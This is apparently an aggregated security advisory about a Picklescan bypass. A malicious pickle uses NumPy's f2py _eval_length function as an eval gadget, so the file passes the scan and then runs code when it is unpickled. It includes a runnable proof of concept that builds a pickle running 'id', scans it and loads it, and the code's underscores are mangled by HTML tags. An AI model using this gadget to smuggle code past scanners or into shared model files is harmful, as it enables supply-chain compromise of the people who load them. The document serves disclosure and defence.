Listen to this Post
The vulnerability in Picklescan arises from its failure to detect a malicious pickle file that leverages the `numpy.f2py.crackfortran._eval_length` function as a gadget during unpickling. Picklescan is a security tool designed to scan pickle files for dangerous code, but it overlooks this specific function due to insufficient analysis of `__reduce__` methods. When a pickle is loaded, the `__reduce__` method can return a callable and its arguments; in this exploit, it returns `_eval_length` with a string containing arbitrary Python code. The `_eval_length` function, part of NumPy’s F2PY module, uses `eval()` to evaluate Fortran length expressions, but when passed attacker-controlled strings, it executes any Python code. For example, a crafted object might return `_eval_length` with the argument "__import__('os').system('whoami')", which runs the whoami command on the system. Picklescan’s static analysis does not identify this threat, so it reports the file as safe. However, when the victim uses `pickle.load()` on the file, the `__reduce__` method is invoked, and `_eval_length` executes the embedded code. This bypasses Picklescan’s security check, leading to arbitrary command execution. The issue is particularly severe in workflows that rely on Picklescan to vet untrusted pickle files, such as shared machine learning models, enabling supply-chain attacks. The root cause is that Picklescan does not simulate the dynamic execution paths during unpickling, missing gadgets like _eval_length. This highlights limitations in static analysis for pickle security, where seemingly safe files can harbor hidden exploits.
Platform: Picklescan
Version: Not Specified
Vulnerability: Arbitrary Code Execution
Severity: Critical
Date: Not Available
Prediction: Patch Date Unknown
What Undercode Say:
Analytics
Create malicious pickle
python -c "
import pickle
from numpy.f2py.crackfortran import _eval_length
class Malicious:
def <strong>reduce</strong>(self):
return _eval_length, (\"<strong>import</strong>('os').system('id')\", None)
with open('malicious.pkl', 'wb') as f:
pickle.dump(Malicious(), f)
"
Scan with Picklescan (may report safe)
picklescan malicious.pkl
Load pickle to trigger execution
python -c "
import pickle
with open('malicious.pkl', 'rb') as f:
data = pickle.load(f)
"
How Exploit:
Attacker crafts pickle with `__reduce__` returning `numpy.f2py.crackfortran._eval_length` and malicious code string. Victim scans file with Picklescan, which misses the threat. Upon loading pickle with pickle.load(), code executes.
Protection from this CVE
Avoid untrusted pickles. Use alternative serialization formats. Update Picklescan if patched. Employ sandboxing for unpickling.
Impact:
Arbitrary code execution. System compromise. Supply-chain poisoning in model sharing.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
